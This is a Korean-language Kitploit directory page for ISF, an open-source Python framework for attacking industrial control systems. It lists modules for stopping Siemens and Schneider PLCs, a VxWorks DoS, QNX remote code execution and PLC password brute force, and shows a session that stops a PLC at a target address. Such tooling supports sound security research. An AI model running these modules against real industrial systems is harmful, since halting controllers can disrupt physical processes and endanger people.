Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
isf — ISF(Industrial Control System Exploitation Framework), Python 기반의 익스플로잇 프레임워크 | Kitploit
도구/GitHubGitHub/dark-lbp/isf
Penetration Testing FrameworksExploit FrameworksNetwork MappingVulnerability AnalysisExploitationSCADA/ICS SecurityInformation GatheringFuzzingPayload DevelopmentArchived
GitHubdark-lbp/isf

isf

1.1k3012년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

ISF(Industrial Control System Exploitation Framework), Python 기반의 익스플로잇 프레임워크

저장소 보기

산업용 익스플로잇 프레임워크

ISF(Industrial Exploitation Framework)는 Python 기반의 익스플로잇 프레임워크로, metasploit 프레임워크와 유사합니다.

ISF는 오픈 소스 프로젝트인 routersploit을 기반으로 합니다.

다른 언어로 읽기: English, 简体中文,

면책 조항

ISF를 사전 상호 동의 없이 대상 공격에 사용하는 것은 불법입니다. 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

ICS 프로토콜 클라이언트

이름경로설명
modbus_tcp_clienticssploit/clients/modbus_tcp_client.pyModbus-TCP 클라이언트
wdb2_clienticssploit/clients/wdb2_client.pyWdbRPC 버전 2 클라이언트(Vxworks 6.x)
s7_clienticssploit/clients/s7_client.pyS7comm 클라이언트(S7 300/400 PLC)

익스플로잇 모듈

스캐너 모듈

ICS 프로토콜 모듈 (Scapy 모듈)

이 프로토콜들은 Kitty와 같은 다른 퍼징 프레임워크에서 사용하거나 자체 클라이언트를 만드는 데 사용할 수 있습니다.

설치

Python 요구 사항

  • gnureadline (OSX 전용)
  • requests
  • paramiko
  • beautifulsoup4
  • pysnmp
  • python-nmap
  • scapy scapy는 이 공식 문서를 참고하여 수동으로 설치할 것을 권장합니다

Kali에 설치

root@kitploit:~
git clone https://github.com/dark-lbp/isf/
cd isf
python isf.py

사용법

root@kitploit:~
    root@kali:~/Desktop/temp/isf# python isf.py
    
      _____ _____  _____ _____ _____  _      ____ _____ _______
     |_   _/ ____|/ ____/ ____|  __ \| |    / __ \_   _|__   __|
       | || |    | (___| (___ | |__) | |   | |  | || |    | |
       | || |     \___ \\___ \|  ___/| |   | |  | || |    | |
      _| || |____ ____) |___) | |    | |___| |__| || |_   | |
     |_____\_____|_____/_____/|_|    |______\____/_____|  |_|
    
    
                    ICS 익스플로잇 프레임워크
    
    참고     : ICSSPOLIT는 routersploit에서 포크되었습니다.
               https://github.com/reverse-shell/routersploit
    개발 팀 : wenzhe zhu(dark-lbp)
    버전  : 0.1.0
    
    익스플로잇: 2 스캐너: 0 자격증명: 13
    
    ICS 익스플로잇:
        PLC: 2          ICS 스위치: 0
        소프트웨어: 0
    
    isf >

익스플로잇

root@kitploit:~
isf > use exploits/plcs/
exploits/plcs/siemens/  exploits/plcs/vxworks/
isf > use exploits/plcs/siemens/s7_300_400_plc_control
exploits/plcs/siemens/s7_300_400_plc_control
isf > use exploits/plcs/siemens/s7_300_400_plc_control
isf (S7-300/400 PLC Control) >

탭 키를 사용하여 자동 완성할 수 있습니다.

옵션

모듈 옵션 표시:

root@kitploit:~
isf (S7-300/400 PLC Control) > show options

대상 옵션:

   이름       현재 설정             설명
   ----       ----------------     -----------
   target                          대상 주소 예: 192.168.1.1
   port       102                  대상 포트


모듈 옵션:

   이름        현재 설정             설명
   ----        ----------------     -----------
   slot        2                    CPU 슬롯 번호.
   command     1                    명령 0:PLC 시작, 1:PLC 중지.


isf (S7-300/400 PLC Control) >

옵션 설정

root@kitploit:~
isf (S7-300/400 PLC Control) > set target 192.168.70.210
[+] {'target': '192.168.70.210'}

모듈 실행

root@kitploit:~
isf (S7-300/400 PLC Control) > run
[*] Running module...
[+] Target is alive
[*] Sending packet to target
[*] Stop plc
isf (S7-300/400 PLC Control) >

익스플로잇 정보 표시

root@kitploit:~
isf (S7-300/400 PLC Control) > show info

이름:
S7-300/400 PLC Control

설명:
S7comm 명령을 사용하여 PLC를 시작/중지합니다.

장치:
-  지멘스 S7-300 및 S7-400 프로그래밍 가능 논리 컨트롤러(PLC)

저자:
-  wenzhe zhu <jtrkid[at]gmail.com>

참고 자료:

isf (S7-300/400 PLC Control) >

문서

  • Modbus-TCP 클라이언트 사용법
  • WDBRPCV2 클라이언트 사용법
  • S7comm 클라이언트 사용법
  • SNMP 무차별 대입 사용법
  • S7 300/400 PLC 비밀번호 무차별 대입 사용법
  • Vxworks 6.x 스캐너 사용법
  • Profinet DCP 스캐너 사용법
  • S7comm PLC 스캐너 사용법
  • Profinet DCP IP 설정 모듈 사용법
  • 추가 폴더에서 모듈 로드
  • 자체 모듈 작성 방법
도구 다운로드
이름경로설명
s7_300_400_plc_controlexploits/plcs/siemens/s7_300_400_plc_control.pyS7-300/400 PLC 시작/중지
s7_1200_plc_controlexploits/plcs/siemens/s7_1200_plc_control.pyS7-1200 PLC 시작/중지/리셋
vxworks_rpc_dosexploits/plcs/vxworks/vxworks_rpc_dos.pyVxworks RPC 원격 DoS(CVE-2015-7599)
quantum_140_plc_controlexploits/plcs/schneider/quantum_140_plc_control.py슈나이더 Quantum 140 시리즈 PLC 시작/중지
crash_qnx_inetd_tcp_serviceexploits/plcs/qnx/crash_qnx_inetd_tcp_service.pyQNX Inetd TCP 서비스 DoS
qconn_remote_execexploits/plcs/qnx/qconn_remote_exec.pyQNX qconn 원격 코드 실행
profinet_set_ipexploits/plcs/siemens/profinet_set_ip.pyProfinet DCP 장치 IP 구성
이름경로설명
profinet_dcp_scanscanners/profinet_dcp_scan.pyProfinet DCP 스캐너
vxworks_6_scanscanners/vxworks_6_scan.pyVxworks 6.x 스캐너
s7comm_scanscanners/s7comm_scan.pyS7comm 스캐너
enip_scanscanners/enip_scan.pyEthernetIP 스캐너
이름경로설명
pn_dcpicssploit/protocols/pn_dcpProfinet DCP 프로토콜
modbus_tcpicssploit/protocols/modbus_tcpModbus TCP 프로토콜
wdbrpc2icssploit/protocols/wdbrpc2WDB RPC 버전 2 프로토콜
s7commicssploit/protocols/s7comm.pyS7comm 프로토콜